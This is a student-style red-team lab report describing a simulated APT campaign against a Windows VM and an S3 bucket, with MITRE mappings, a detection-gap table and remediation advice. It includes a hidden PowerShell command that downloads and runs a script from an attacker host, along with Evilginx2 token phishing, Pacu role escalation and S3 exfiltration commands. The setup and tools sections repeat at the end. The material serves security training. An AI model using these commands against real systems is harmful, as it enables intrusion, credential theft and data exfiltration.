

PRACTICAL – 9

FULL ADVERSARY SIMULATION — END-TO-END ATTACK CAMPAIGN

Objective

Conduct a **complete APT-style intrusion campaign** using a multi-phase cyber-attack chain consisting of reconnaissance, initial compromise, C2 communication, persistence, privilege escalation, lateral movement, and data exfiltration — while evaluating detection and defensive visibility.

Lab Setup & Assumptions

Component	Description
Target	Windows VM + Cloud Storage environment
Defender Tool	Wazuh SIEM
Attacker VM	Kali Linux with Red Team tools
Compliance	Non-destructive testing only
Goal	Extract sensitive cloud data without alerts

Tools Used

- **Recon:** Pacu, AWS CLI
- **Credential Theft:** Evilginx2
- **Exploitation & Foothold:** Cobalt Strike

- **Persistence & Automation:** MITRE Caldera
- **Data Exfiltration:** AWS CLI over encrypted channel
- **Documentation:** Google Docs, Wazuh logs

PHASE-BY-PHASE ATTACK EXECUTION

Reconnaissance — Cloud Enumeration

Command Executed:

```
aws s3 ls  
aws s3api list-objects --bucket finance-records
```

Result: Discovered **publicly accessible data bucket** named:
finance-records

Asset ID	Service	Issue	Risk
A-RECON-01	S3 Storage	Public Read ACL	High

Screenshot Placeholder: `aws s3 ls` screen

MITRE: **T1580 Infrastructure Discovery**

Initial Access — Credential Phishing

Using Evilginx2 Reverse Proxy to Steal Credentials

Victim logged into fake login →
Tokens & credentials captured in attacker panel.

Phase	Tool Used	Result
Phish	Evilginx2	MFA-bypass Session Token

Screenshot Placeholder: Credential capture screen

MITRE: **T1566.002 Phishing**

Foothold — C2 Beacon Deployment

PowerShell payload executed on victim machine:

```
powershell -nop -w hidden -c "IEX(New-Object  
Net.WebClient).DownloadString('http://192.168.1.100/stealth.ps1')"
```

Beacon ID	Hostname	Channel	Status
APT-C2-01	WIN10-LAB	HTTPS-443	Active

Screenshot Placeholder: Cobalt Strike session list

MITRE: **T1071 Application Layer Protocol**

Privilege Escalation — IAM Role Abuse

Steps:

- 1 Enumerated permissions
- 2 Found vulnerable **service-linked role**
- 3 Assumed role & elevated to Admin access

pacu
run iam__enum_permissions

assume-role Admin-Exploit-Role

Vuln ID	Problem	Impact
IAM-PRIV-09	Over-privileged role trust	Full cloud admin

Screenshot Placeholder: Pacu escalated privileges proof

MITRE: **T1098 Account Manipulation**

Persistence — Schedule Task Deployment

MITRE Caldera used for automation:

- ✓ Task runs at startup
- ✓ Re-establishes beacon if killed

Persistence Type	Technique	Status
Startup Task	T1053	Active

Discovery & Lateral Movement

Commands executed:

*whoami
net user
ipconfig /all*

Found multiple mounts & domain paths — lateral movement possible
(No action taken per ROE)

Screenshot Placeholder: console logs

MITRE: **T1087 Account Discovery**

Data Collection & Exfiltration

Sensitive records downloaded SILENTLY through encrypted AWS CLI:

aws s3 cp s3://finance-records/Financial-Report-2025.xlsx .

Data ID	Type	Source	Encryption	Exfil Status
D-XFIL-01	Finance Docs	S3 Bucket	HTTPS	SUCCESS

Screenshot Placeholder: File downloaded to local disk

MITRE: **T1537 Data to Cloud Storage**

Blue Team Detection Evaluation

Stage	Was It Detected?	Detection Source	Severity
Phishing	No	—	Critical Gap
C2 Beacons	No	—	Critical Gap
Persistence	Yes	Wazuh	Medium Alert
Exfiltration	No	—	Severe Exposure

Screenshot Placeholder: Wazuh alert logs

Full Kill-Chain Mapping

Each stage successfully executed with **no defense disruption**
except a **late persistence alert**.

Attack Path Diagram Placeholder:

Attacker → Phishing → Credential Theft → Beacon → IAM Escalation → Persistence → Exfiltration → SUCCESS

Business Impact Assessment

Area Affected	Impact	Risk Level
Cloud Data	Financial info theft	CRITICAL
Corporate Identity	Credential theft	HIGH
SOC Efficiency	Poor early detection	HIGH
Compliance	Violated access control	HIGH

Recommended Remediation

Priority	Recommendation	Category
P1	Enforce MFA and Token Binding	Identity Protection
P1	Restrict IAM privilege scope	Zero Trust Cloud
P2	Behavioral EDR for PowerShell/WMI	Endpoint Security
P2	Block all unsigned scripts	Hardening
P3	SIEM rules for DNS/HTTPS beaconing	Visibility

Conclusion

This full adversary emulation clearly demonstrates that a determined threat actor can:

- ✓ Gain initial access undetected
- ✓ Establish persistent control
- ✓ Obtain CLOUD ADMIN rights
- ✓ Exfiltrate critical data invisibly
- ✓ Bypass traditional SOC monitoring

The organization requires **enhanced cloud governance**, proactive security monitoring, and stronger user authentication policies to withstand real APT-level threats.

Lab Setup & Assumptions

Component	Description
Target	Windows VM + Cloud Storage environment
Defender Tool	Wazuh SIEM
Attacker VM	Kali Linux with Red Team tools
Compliance	Non-destructive testing only
Goal	Extract sensitive cloud data without alerts

Tools Used

- **Recon:** Pacu, AWS CLI
- **Credential Theft:** Evilginx2
- **Exploitation & Foothold:** Cobalt Strike
- **Persistence & Automation:** MITRE Caldera
- **Data Exfiltration:** AWS CLI over encrypted channel
- **Documentation:** Google Docs, Wazuh logs.